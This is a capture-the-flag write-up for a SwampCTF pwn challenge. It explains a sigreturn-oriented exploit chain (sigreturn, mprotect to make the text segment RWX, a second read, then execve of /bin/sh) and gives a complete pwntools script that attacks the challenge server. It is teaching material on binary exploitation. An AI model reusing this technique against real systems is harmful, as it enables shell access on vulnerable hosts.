This is similar to Backdoor 2017 challenge [funsignals](https://backdoor.sdslabs.co/challenges/FUNSIGNALS). reading user input to stack and excute syscalls. except:1. .text segment is readonly;2. flag is not stored in memory;
To resolve above issues, we need multiple syscalls.1. a sigreturn syscall to change the program flow.2. a mprotect syscall to remap text segment to RWX.3. a syscall to read new playload (using the one provided in binary), since stack are switched and old payload are invalidated.4. a final execve syscall to spawn a shell.
```from pwn import *
p = remote('chal1.swampctf.com',1800)
context.arch='amd64'#Sigreturn frame for SYS_mprotectframe = SigreturnFrame()frame.rax = 10          # SYS_mprotectframe.rdi = 0x400000   # addrframe.rsi = 0x1000     # lenframe.rdx = 7           # protoframe.rsp = 0x400400   # point new rsp after the code sectionframe.rip = 0x400104   # to the 1st syscall instruction, so we can then read second payload on new stack and execute.# syscall (rax = SYS_rt_sigreturn)payload1 = p64(0)*3+p64(15)+p64(0)*4+str(frame)# syscall (rax = SYS_execve, rsi = rdx = 0, rdi = addr of '/bin/sh' (placed just after the register values)payload2 = p64(0)*3+p64(59)+p64(0)*3+p64(0x400440)+'/bin/sh\0'print p.recvline().strip()p.sendline(payload1)p.sendline(payload2)
p.interactive()p.close()
```